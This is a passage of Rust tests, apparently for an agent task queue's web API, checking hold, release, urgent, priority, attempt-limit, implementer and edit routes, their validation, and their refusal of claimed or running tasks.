17574 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17575 assert!(
17576 h[1].outcome.contains("task a1b2 asked to run first"),
17577 "{}",
17578 h[1].outcome
17579 );
17580 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17581 assert!(
17582 h[2].outcome.contains("operator asked the loop to park"),
17583 "{}",
17584 h[2].outcome
17585 );
17586 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17587 let f = task_flow(&task, &h, 2, None);
17588 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17589 }
17590
17591 #[test]
17592 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17593 let run = flow_run(RunStatus::Implementing, |s| {
17594 s.passes = vec![
17595 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17596 recorded_pass(1, None),
17597 ];
17598 });
17599 let task = flow_task(&[RUN_X, RUN_X]);
17600 let h = task_history(&task, |_| Some(run.clone()));
17601 assert_eq!(h[0].exit, RunExit::Interrupted);
17602 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17603 assert!(
17604 h[0].outcome.contains("without recording why"),
17605 "{}",
17606 h[0].outcome
17607 );
17608 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17609 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17610 }
17611
17612 #[test]
17613 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17614 use crate::queue::PassCost;
17615 let run = flow_run(RunStatus::Implementing, |s| {
17618 s.passes = vec![
17619 recorded_pass(0, parked(upgrade_cause())),
17620 recorded_pass(1, None),
17621 ];
17622 });
17623 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17624 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17625 let h = task_history(&task, |_| Some(run.clone()));
17626 assert!(h[0].pass.is_none());
17627 assert_eq!(h[0].exit, RunExit::Interrupted);
17628 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17629 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17630 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17631 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17632 let legacy = flow_run(RunStatus::Implementing, |_| {});
17634 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17635 assert!(h.iter().all(|v| v.pass.is_none()));
17636 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17637 }
17638
17639 #[test]
17640 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17641 use crate::queue::PassCost;
17642 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17645 web.task_entry = false;
17646 let run = flow_run(RunStatus::Implementing, |s| {
17647 s.passes = vec![
17648 recorded_pass(0, parked(upgrade_cause())),
17649 web.clone(),
17650 recorded_pass(2, None),
17651 ];
17652 });
17653 let mut task = flow_task(&[RUN_X, RUN_X]);
17654 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17655 let h = task_history(&task, |_| Some(run.clone()));
17656 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17657 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17658
17659 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17662 web0.task_entry = false;
17663 let run = flow_run(RunStatus::Implementing, |s| {
17664 s.passes = vec![web0.clone(), recorded_pass(1, None)];
17665 });
17666 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17667 assert!(h[0].pass.is_none());
17668 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17669 assert!(h[1].pass.is_some());
17670 }
17671
17672 #[tokio::test]
17673 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17674 let dir = tempfile::tempdir().unwrap();
17675 let queue = Queue::at(dir.path().join("queue"));
17676 let ui = Arc::new(Ui::new(
17677 queue.clone(),
17678 Questions::at(dir.path().join("questions")),
17679 Talks::at(dir.path().join("talks")),
17680 dir.path().join("runs"),
17681 dir.path().to_path_buf(),
17682 dir.path().to_path_buf(),
17683 ));
17684 let mut t = Task::new(
17685 "recover".into(),
17686 "Inspect".into(),
17687 PathBuf::from("."),
17688 Source::Human,
17689 );
17690 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17691 t.start("run-A".into());
17692 t.release_operator("choice", Some("resume-question"));
17693 t.resume_override = Some(crate::queue::OperatorResume {
17694 question_id: "resume-question".into(),
17695 at: jiff::Timestamp::now(),
17696 conductor_rehold: None,
17697 forced: true,
17698 pinned_run: Some("run-A".into()),
17699 });
17700 t.hold_machine(Some("inspection pending".into()));
17701 t.edit("recover".into(), "Reuse approved PR head".into())
17702 .unwrap();
17703 queue.put(&mut t).unwrap();
17704 let mut cli = t.clone();
17705 cli.release_operator("cli", None);
17706 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17707 let reloaded = queue.get(&t.id).unwrap();
17708 assert_eq!(reply.task.status, TaskStatus::Queued);
17709 assert!(reloaded.resume_override.is_none());
17710 assert_eq!(reloaded.answers, t.answers);
17711 let mut web = reloaded.resumption.unwrap();
17712 let cli = cli.resumption.unwrap();
17713 assert_eq!(web.source, "web");
17714 web.source = cli.source.clone();
17715 web.at = cli.at;
17716 assert_eq!(web, cli);
17717 }
17718
17719 #[tokio::test]
17720 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17721 let f = Fixture::start().await;
17722 let queue = f.queue();
17723 let mut task = Task::new(
17724 "spent".to_owned(),
17725 "Try again".to_owned(),
17726 PathBuf::from("/repo/magi"),
17727 Source::Human,
17728 );
17729 task.start("20260902-140502-bbbb".to_owned());
17730 task.fail("agent gave up", 9);
17731 queue.put(&mut task).expect("file the task");
17732
17733 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17734 assert_eq!(held.status, 200);
17735 assert_eq!(held.json()["status_str"], "held");
17736
17737 let released = f
17738 .post(&format!("/api/queue/{}/release", task.id), None)
17739 .await;
17740 assert_eq!(released.status, 200);
17741 assert_eq!(released.json()["status_str"], "queued");
17742 assert_eq!(released.json()["resumption"]["source"], "web");
17743 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17744 let mut cli = task.clone();
17745 cli.release_operator("cli", None);
17746 let web = queue.get(&task.id).unwrap().resumption.unwrap();
17747 let cli = cli.resumption.unwrap();
17748 assert_eq!(web.instruction, cli.instruction);
17749 assert_eq!(web.answers_through, cli.answers_through);
17750 assert_eq!(web.runs_through, cli.runs_through);
17751 assert_eq!(web.cleared_reason, cli.cleared_reason);
17752 assert_eq!(
17753 released.json()["attempts"],
17754 0,
17755 "release is a real second chance, not an instant re-hold"
17756 );
17757 assert_eq!(
17758 queue.get(&task.id).expect("reload").status,
17759 TaskStatus::Queued,
17760 "the change is on disk, not only in the reply"
17761 );
17762 assert!(
17763 !f.home
17764 .path()
17765 .join("queue")
17766 .join(format!("{}.lock", task.id))
17767 .exists(),
17768 "the claim the mutation took is released again"
17769 );
17770 }
17771
17772 #[tokio::test]
17773 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17774 let f = Fixture::start().await;
17775 let queue = f.queue();
17776 let mut task = Task::new(
17777 "busy".to_owned(),
17778 "Running right now".to_owned(),
17779 PathBuf::from("/repo/magi"),
17780 Source::Human,
17781 );
17782 queue.put(&mut task).expect("file the task");
17783 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17784
17785 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17786
17787 assert_eq!(res.status, 409);
17788 assert_eq!(
17789 queue.get(&task.id).expect("reload").status,
17790 TaskStatus::Queued,
17791 "the refused hold changed nothing"
17792 );
17793 }
17794
17795 #[tokio::test]
17796 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17797 let f = Fixture::start().await;
17798 let queue = f.queue();
17799 let mut task = Task::new(
17800 "waiting on the migration".to_owned(),
17801 "Do the thing".to_owned(),
17802 PathBuf::from("/repo/magi"),
17803 Source::Human,
17804 );
17805 queue.put(&mut task).expect("file the task");
17806
17807 let held = f
17808 .post(
17809 &format!("/api/queue/{}/hold", task.id),
17810 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17811 )
17812 .await;
17813 assert_eq!(held.status, 200, "{}", held.body);
17814 assert_eq!(held.json()["status_str"], "held");
17815 assert_eq!(
17816 held.json()["hold_reason"],
17817 "waiting for 20260101-000000-aaaa to land"
17818 );
17819
17820 let listed = f.get("/api/queue").await.json();
17821 assert_eq!(
17822 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17823 "the card reads the reason off the same list route"
17824 );
17825
17826 let mut plain = Task::new(
17829 "no reason given".to_owned(),
17830 "Do another thing".to_owned(),
17831 PathBuf::from("/repo/magi"),
17832 Source::Human,
17833 );
17834 queue.put(&mut plain).expect("file the task");
17835 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17836 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17837 assert!(held_plain.json()["hold_reason"].is_null());
17838
17839 let released = f
17840 .post(&format!("/api/queue/{}/release", task.id), None)
17841 .await;
17842 assert_eq!(released.status, 200);
17843 assert!(
17844 released.json()["hold_reason"].is_null(),
17845 "a release must clear the reason so the next hold does not inherit it"
17846 );
17847 }
17848
17849 #[test]
17850 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17851 for urgent in [true, false] {
17852 let body: UrgentBody =
17853 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17854 assert_eq!(body.urgent, urgent);
17855 }
17856 for input in [
17857 r#"{}"#,
17858 r#"{"urgent":null}"#,
17859 r#"{"urgent":"true"}"#,
17860 r#"{"urgent":1}"#,
17861 r#"{"urgent":true,"extra":false}"#,
17862 ] {
17863 assert!(
17864 serde_json::from_str::<UrgentBody>(input).is_err(),
17865 "{input}"
17866 );
17867 }
17868 }
17869
17870 #[tokio::test]
17871 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17872 let home = TempDir::new().unwrap();
17873 let q = Queue::at(home.path().join("queue"));
17874 let ui = Arc::new(Ui::new(
17875 q.clone(),
17876 Questions::at(home.path().join("questions")),
17877 Talks::at(home.path().join("talks")),
17878 home.path().join("runs"),
17879 home.path().into(),
17880 home.path().into(),
17881 ));
17882 let mut task = Task::new(
17883 "urgent handler".into(),
17884 "keep".into(),
17885 home.path().into(),
17886 Source::Human,
17887 );
17888 for status in [TaskStatus::Queued, TaskStatus::Held] {
17889 task.status = status;
17890 q.put(&mut task).unwrap();
17891 for urgent in [true, true, false, false] {
17892 let saved = queue_urgent(
17893 State(Arc::clone(&ui)),
17894 Path(task.short().into()),
17895 Ok(Json(UrgentBody { urgent })),
17896 )
17897 .await
17898 .unwrap();
17899 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17900 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17901 }
17902 }
17903 task.status = TaskStatus::Queued;
17904 q.put(&mut task).unwrap();
17905 let claim = q.claim(&task.id).unwrap();
17906 let error = queue_urgent(
17907 State(Arc::clone(&ui)),
17908 Path(task.id.clone()),
17909 Ok(Json(UrgentBody { urgent: true })),
17910 )
17911 .await
17912 .unwrap_err();
17913 assert_eq!(error.status, StatusCode::CONFLICT);
17914 assert!(error.message.contains("released"));
17915 drop(claim);
17916 for status in [
17917 TaskStatus::Running,
17918 TaskStatus::Done,
17919 TaskStatus::Failed,
17920 TaskStatus::Blocked,
17921 TaskStatus::Parked,
17922 ] {
17923 task.status = status;
17924 q.put(&mut task).unwrap();
17925 let error = queue_urgent(
17926 State(Arc::clone(&ui)),
17927 Path(task.id.clone()),
17928 Ok(Json(UrgentBody { urgent: false })),
17929 )
17930 .await
17931 .unwrap_err();
17932 assert_eq!(error.status, StatusCode::BAD_REQUEST);
17933 assert!(error.message.contains(status.as_str()));
17934 }
17935 }
17936
17937 #[tokio::test]
17938 async fn urgent_api_updates_preserves_and_validates_tasks() {
17939 let f = Fixture::start().await;
17940 let q = f.queue();
17941 let mut t = Task::new(
17942 "urgent API".into(),
17943 "unchanged".into(),
17944 PathBuf::from("/repo/magi"),
17945 Source::Human,
17946 );
17947 t.attempts = 2;
17948 t.priority = 9;
17949 t.interrupt = true;
17950 t.hold_reason = Some("waiting for approval".into());
17951 for status in [TaskStatus::Queued, TaskStatus::Held] {
17952 t.status = status;
17953 q.put(&mut t).unwrap();
17954 for urgent in [true, true, false, false] {
17955 let response = f
17956 .post(
17957 &format!("/api/queue/{}/urgent", t.short()),
17958 Some(&format!("{{\"urgent\":{urgent}}}")),
17959 )
17960 .await;
17961 assert_eq!(response.status, 200, "{}", response.body);
17962 assert_eq!(response.json()["urgent"], urgent);
17963 let saved = q.get(&t.id).unwrap();
17964 let mut before = serde_json::to_value(&t).unwrap();
17965 let mut after = serde_json::to_value(saved).unwrap();
17966 before["urgent"] = urgent.into();
17967 before.as_object_mut().unwrap().remove("updated_at");
17968 after.as_object_mut().unwrap().remove("updated_at");
17969 assert_eq!(after, before);
17970 }
17971 }
17972 let route = format!("/api/queue/{}/urgent", t.id);
17973 for body in [
17974 r#"{}"#,
17975 r#"{"urgent":null}"#,
17976 r#"{"urgent":"true"}"#,
17977 r#"{"urgent":1}"#,
17978 r#"{"urgent":true,"extra":false}"#,
17979 "{",
17980 ] {
17981 assert_eq!(f.post(&route, Some(body)).await.status, 400);
17982 }
17983 t.status = TaskStatus::Queued;
17984 q.put(&mut t).unwrap();
17985 let claim = q.claim(&t.id).unwrap();
17986 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17987 assert_eq!(response.status, 409, "{}", response.body);
17988 assert!(!q.get(&t.id).unwrap().urgent);
17989 drop(claim);
17990 for status in [
17991 TaskStatus::Running,
17992 TaskStatus::Done,
17993 TaskStatus::Failed,
17994 TaskStatus::Blocked,
17995 TaskStatus::Parked,
17996 ] {
17997 t.status = status;
17998 q.put(&mut t).unwrap();
17999 for urgent in [true, false] {
18000 let response = f
18001 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18002 .await;
18003 assert_eq!(response.status, 400, "{}", response.body);
18004 assert!(response.body.contains(status.as_str()));
18005 assert!(response.body.contains("queued or held"));
18006 assert!(!q.get(&t.id).unwrap().urgent);
18007 }
18008 }
18009 assert_eq!(
18010 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18011 .await
18012 .status,
18013 404
18014 );
18015 }
18016
18017 #[tokio::test]
18018 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18019 let f = Fixture::start().await;
18020 let queue = f.queue();
18021 let mut older = Task::new(
18022 "filed first".to_owned(),
18023 "x".to_owned(),
18024 PathBuf::from("/repo/magi"),
18025 Source::Human,
18026 );
18027 older.id = "20260101-000001-aaaa".to_owned();
18028 let mut newer = Task::new(
18029 "filed second".to_owned(),
18030 "x".to_owned(),
18031 PathBuf::from("/repo/magi"),
18032 Source::Human,
18033 );
18034 newer.id = "20260101-000002-bbbb".to_owned();
18035 queue.put(&mut older).expect("file older");
18036 queue.put(&mut newer).expect("file newer");
18037
18038 let before = f.get("/api/queue").await.json();
18041 assert_eq!(before[0]["id"], newer.id);
18042 assert_eq!(before[1]["id"], older.id);
18043
18044 let raised = f
18048 .post(
18049 &format!("/api/queue/{}/priority", older.id),
18050 Some(r#"{"priority":10}"#),
18051 )
18052 .await;
18053 assert_eq!(raised.status, 200, "{}", raised.body);
18054 assert_eq!(raised.json()["priority"], 10);
18055
18056 let after = f.get("/api/queue").await.json();
18057 let names: Vec<&str> = after
18058 .as_array()
18059 .unwrap()
18060 .iter()
18061 .map(|t| t["id"].as_str().unwrap())
18062 .collect();
18063 assert_eq!(names[0], older.id, "the raised task now sorts first");
18067 }
18068
18069 #[tokio::test]
18070 async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18071 let f = Fixture::start().await;
18072 let queue = f.queue();
18073 let mut tasks = Vec::new();
18074 for id in [
18075 "20260101-000001-aaaa",
18076 "20260101-000002-bbbb",
18077 "20260101-000003-cccc",
18078 ] {
18079 let mut task = Task::new(
18080 id.into(),
18081 "x".into(),
18082 PathBuf::from("/repo/magi"),
18083 Source::Human,
18084 );
18085 task.id = id.into();
18086 queue.put(&mut task).unwrap();
18087 tasks.push(task);
18088 }
18089 assert_eq!(
18090 queue.next_runnable().unwrap().id,
18091 tasks[0].id,
18092 "equal priorities use ascending id"
18093 );
18094 let route = format!("/api/queue/{}/priority", tasks[2].id);
18095 assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18096 assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18097 tasks[1].start("upgrade-run".into());
18098 tasks[1].park("upgrade");
18099 tasks[1].record_pass_at(
18100 "upgrade-run",
18101 0,
18102 Some("2026-01-01T00:00:00Z".parse().unwrap()),
18103 1,
18104 Some(crate::run::ParkCause::Upgrade {
18105 from: "old".into(),
18106 to: None,
18107 }),
18108 );
18109 queue.put(&mut tasks[1]).unwrap();
18110 let rows = f.get("/api/queue").await.json();
18111 let upgrade = rows
18112 .as_array()
18113 .unwrap()
18114 .iter()
18115 .find(|row| row["id"] == tasks[1].id)
18116 .unwrap();
18117 assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18118 assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18119 tasks[2] = queue.get(&tasks[2].id).unwrap();
18120 tasks[2].start("running-run".into());
18121 queue.put(&mut tasks[2]).unwrap();
18122 assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18123 assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18124 }
18125
18126 #[tokio::test]
18127 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18128 let dir = TempDir::new().unwrap();
18129 let q = Queue::at(dir.path().join("queue"));
18130 let ui = Arc::new(Ui::new(
18131 q.clone(),
18132 Questions::at(dir.path().join("questions")),
18133 Talks::at(dir.path().join("talks")),
18134 dir.path().join("runs"),
18135 dir.path().to_path_buf(),
18136 dir.path().to_path_buf(),
18137 ));
18138 let mut t = Task::new(
18139 "budget".into(),
18140 "keep".into(),
18141 dir.path().into(),
18142 Source::Human,
18143 );
18144 t.attempts = 2;
18145 t.runs.push("prior-run".into());
18146 t.hold_manual(Some("waiting".into()));
18147 q.put(&mut t).unwrap();
18148 let change = |value| {
18149 queue_attempt_limit(
18150 State(ui.clone()),
18151 Path(t.id.clone()),
18152 Ok(Json(AttemptLimitBody {
18153 attempt_limit: value,
18154 })),
18155 )
18156 };
18157 for value in [
18158 serde_json::json!(3),
18159 serde_json::Value::Null,
18160 serde_json::json!(1),
18161 ] {
18162 let response = change(value.clone()).await.unwrap();
18163 assert_eq!(
18164 serde_json::to_value(response.0).unwrap()["attempt_limit"],
18165 value
18166 );
18167 let saved = q.get(&t.id).unwrap();
18168 assert_eq!(
18169 serde_json::to_value(&saved).unwrap()["attempt_limit"],
18170 value
18171 );
18172 assert_eq!(saved.status, TaskStatus::Held);
18173 assert_eq!(saved.attempts, t.attempts);
18174 assert_eq!(saved.runs, t.runs);
18175 assert_eq!(saved.hold_reason, t.hold_reason);
18176 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18177 .await
18178 .unwrap()
18179 .0;
18180 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18181 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18182 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18183 assert_eq!(outcome.max_attempts, detail.max_attempts);
18184 }
18185 for value in [
18186 serde_json::json!(0),
18187 serde_json::json!(-1),
18188 serde_json::json!(1.5),
18189 serde_json::json!("3"),
18190 serde_json::json!(true),
18191 ] {
18192 assert_eq!(
18193 change(value).await.err().unwrap().status,
18194 StatusCode::BAD_REQUEST
18195 );
18196 }
18197 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18198 let claim = q.claim(&t.id).unwrap();
18199 assert_eq!(
18200 change(serde_json::json!(4)).await.err().unwrap().status,
18201 StatusCode::CONFLICT
18202 );
18203 drop(claim);
18204 for status in [
18205 TaskStatus::Running,
18206 TaskStatus::Done,
18207 TaskStatus::Failed,
18208 TaskStatus::Blocked,
18209 TaskStatus::Parked,
18210 ] {
18211 let mut stored = q.get(&t.id).unwrap();
18212 stored.status = status;
18213 q.put(&mut stored).unwrap();
18214 assert_eq!(
18215 change(serde_json::json!(4)).await.err().unwrap().status,
18216 StatusCode::BAD_REQUEST
18217 );
18218 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18219 }
18220 let mut stored = q.get(&t.id).unwrap();
18221 stored.status = TaskStatus::Queued;
18222 q.put(&mut stored).unwrap();
18223 let _ = change(serde_json::Value::Null).await.unwrap();
18224 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18225 }
18226
18227 #[tokio::test]
18228 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18229 let dir = TempDir::new().unwrap();
18230 let repo = dir.path().join("repo");
18231 std::fs::create_dir(&repo).unwrap();
18232 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18233 let q = Queue::at(dir.path().join("queue"));
18234 let ui = Arc::new(Ui::new(
18235 q.clone(),
18236 Questions::at(dir.path().join("questions")),
18237 Talks::at(dir.path().join("talks")),
18238 dir.path().join("runs"),
18239 dir.path().to_path_buf(),
18240 repo.clone(),
18241 ));
18242 let mut t = Task::new(
18243 "seats".into(),
18244 "keep instruction".into(),
18245 repo,
18246 Source::Human,
18247 );
18248 t.runs.push("prior-run".into());
18249 t.hold_manual(Some("waiting".into()));
18250 q.put(&mut t).unwrap();
18251 let change = |count| {
18252 queue_implementers(
18253 State(ui.clone()),
18254 Path(t.id.clone()),
18255 Ok(Json(ImplementersBody {
18256 implementers: count,
18257 })),
18258 )
18259 };
18260 for count in [2, 1, 2] {
18261 let response = change(count).await.unwrap();
18262 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18263 let saved = q.get(&t.id).unwrap();
18264 assert_eq!(saved.implementers(), Some(usize::from(count)));
18265 assert_eq!(saved.runs, t.runs);
18266 assert_eq!(saved.instruction, t.instruction);
18267 }
18268 for count in [0, 4] {
18269 assert_eq!(
18270 change(count).await.err().unwrap().status,
18271 StatusCode::BAD_REQUEST
18272 );
18273 }
18274 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18275 let claim = q.claim(&t.id).unwrap();
18276 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18277 drop(claim);
18278 for status in [
18279 TaskStatus::Running,
18280 TaskStatus::Done,
18281 TaskStatus::Failed,
18282 TaskStatus::Blocked,
18283 TaskStatus::Parked,
18284 ] {
18285 let mut stored = q.get(&t.id).unwrap();
18286 stored.status = status;
18287 q.put(&mut stored).unwrap();
18288 assert_eq!(
18289 change(1).await.err().unwrap().status,
18290 StatusCode::BAD_REQUEST
18291 );
18292 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18293 }
18294 }
18295
18296 #[tokio::test]
18297 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18298 let f = Fixture::start().await;
18299 let queue = f.queue();
18300 let mut task = Task::new(
18301 "in flight".to_owned(),
18302 "x".to_owned(),
18303 PathBuf::from("/repo/magi"),
18304 Source::Human,
18305 );
18306 task.start("20260902-140502-bbbb".to_owned());
18307 queue.put(&mut task).expect("file the task");
18308
18309 let res = f
18310 .post(
18311 &format!("/api/queue/{}/priority", task.id),
18312 Some(r#"{"priority":9}"#),
18313 )
18314 .await;
18315 assert_eq!(res.status, 400, "{}", res.body);
18316 assert!(
18317 res.json()["error"]
18318 .as_str()
18319 .is_some_and(|e| e.contains("running")),
18320 "{}",
18321 res.body
18322 );
18323 assert_eq!(
18324 queue.get(&task.id).expect("reload").priority,
18325 0,
18326 "the refused write must not partially apply"
18327 );
18328 }
18329
18330 #[tokio::test]
18331 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18332 let f = Fixture::start().await;
18333 let queue = f.queue();
18334 let mut task = Task::new(
18335 "old title".to_owned(),
18336 "old instruction".to_owned(),
18337 PathBuf::from("/repo/magi"),
18338 Source::Agent {
18339 run: "20260101-000000-beef".to_owned(),
18340 node: "implement".to_owned(),
18341 },
18342 );
18343 task.runs.push("20260101-000000-beef".to_owned());
18344 queue.put(&mut task).expect("file the task");
18345 let created_at = task.created_at;
18346
18347 let edited = f
18348 .post(
18349 &format!("/api/queue/{}/edit", task.id),
18350 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18351 )
18352 .await;
18353 assert_eq!(edited.status, 200, "{}", edited.body);
18354 let body = edited.json();
18355 assert_eq!(body["title"], "new title");
18356 assert_eq!(body["instruction"], "new instruction");
18357 assert_eq!(body["id"], task.id, "editing must not mint a new id");
18358 assert_eq!(body["created_at"], created_at.to_string());
18359 assert_eq!(
18360 body["source"]["kind"], "agent",
18361 "editing a task an agent filed must not turn it human: {body}"
18362 );
18363 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18364
18365 let reloaded = queue.get(&task.id).expect("reload");
18366 assert_eq!(reloaded.title, "new title");
18367 assert_eq!(reloaded.instruction, "new instruction");
18368 }
18369
18370 #[tokio::test]
18371 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18372 let tmp = TempDir::new().expect("tempdir");
18375 let repo = tmp.path().join("repo");
18376 std::fs::create_dir_all(&repo).expect("repo dir");
18377 let judge = MOCK_AGENT_TOML.replace(
18378 "printf ok",
18379 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18380 );
18381 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18382 let f = Fixture::with_repo(repo.clone()).await;
18383 let queue = f.queue();
18384 let mut owner = Task::new(
18385 "owner".to_owned(),
18386 "review it".to_owned(),
18387 repo.clone(),
18388 Source::Human,
18389 );
18390 owner.review_branch = Some("magi/ab12/A".to_owned());
18391 queue.put(&mut owner).expect("file the owner");
18392 let mut task = Task::new(
18393 "draft".to_owned(),
18394 "old".to_owned(),
18395 repo.clone(),
18396 Source::Human,
18397 );
18398 queue.put(&mut task).expect("file the draft");
18399 let url = format!("/api/queue/{}/edit", task.id);
18400
18401 let refused = f
18402 .post(
18403 &url,
18404 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18405 )
18406 .await;
18407 assert_eq!(refused.status, 409, "{}", refused.body);
18408 let msg = refused.json()["error"]
18409 .as_str()
18410 .unwrap_or_default()
18411 .to_owned();
18412 assert!(
18413 msg.contains("magi/ab12/A") && msg.contains("force"),
18414 "{msg}"
18415 );
18416 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18417
18418 let forced = f
18419 .post(
18420 &url,
18421 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18422 )
18423 .await;
18424 assert_eq!(forced.status, 200, "{}", forced.body);
18425 }
18426
18427 #[tokio::test]
18428 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18429 let f = Fixture::start().await;
18430 let queue = f.queue();
18431 let mut task = Task::new(
18432 "in flight".to_owned(),
18433 "do not touch".to_owned(),
18434 PathBuf::from("/repo/magi"),
18435 Source::Human,
18436 );
18437 task.start("20260902-140502-bbbb".to_owned());
18438 queue.put(&mut task).expect("file the task");
18439
18440 let res = f
18441 .post(
18442 &format!("/api/queue/{}/edit", task.id),
18443 Some(r#"{"title":"x","instruction":"y"}"#),
18444 )
18445 .await;
18446 assert_eq!(res.status, 400, "{}", res.body);
18447 assert!(
18448 res.json()["error"]
18449 .as_str()
18450 .is_some_and(|e| e.contains("running")),
18451 "{}",
18452 res.body
18453 );
18454 assert_eq!(
18455 queue.get(&task.id).expect("reload").instruction,
18456 "do not touch",
18457 "the refused edit must not change the file"
18458 );
18459 }
18460
18461 #[tokio::test]
18462 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18463 let f = Fixture::start().await;
18464 let queue = f.queue();
18465 let mut task = Task::new(
18466 "busy".to_owned(),
18467 "Running right now".to_owned(),
18468 PathBuf::from("/repo/magi"),
18469 Source::Human,
18470 );
18471 queue.put(&mut task).expect("file the task");
18472 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18473
18474 let priority = f
18475 .post(
18476 &format!("/api/queue/{}/priority", task.id),
18477 Some(r#"{"priority":9}"#),
18478 )
18479 .await;
18480 assert_eq!(priority.status, 409, "{}", priority.body);
18481
18482 let edit = f
18483 .post(
18484 &format!("/api/queue/{}/edit", task.id),
18485 Some(r#"{"title":"x","instruction":"y"}"#),
18486 )
18487 .await;
18488 assert_eq!(edit.status, 409, "{}", edit.body);
18489 }
18490
18491 #[tokio::test]
18492 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18493 let f = Fixture::start().await;
18494 let queue = f.queue();
18495 let mut task = Task::new(
18496 "shipped by hand".to_owned(),
18497 "merged outside the loop".to_owned(),
18498 PathBuf::from("/repo/magi"),
18499 Source::Agent {
18500 run: "20260101-000000-b455".to_owned(),
18501 node: "implement".to_owned(),
18502 },
18503 );
18504 task.runs.push("20260101-000000-b455".to_owned());
18505 task.runs.push("20260101-000000-9af4".to_owned());
18506 queue.put(&mut task).expect("file the task");
18507 let created_at = task.created_at;
18508
18509 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
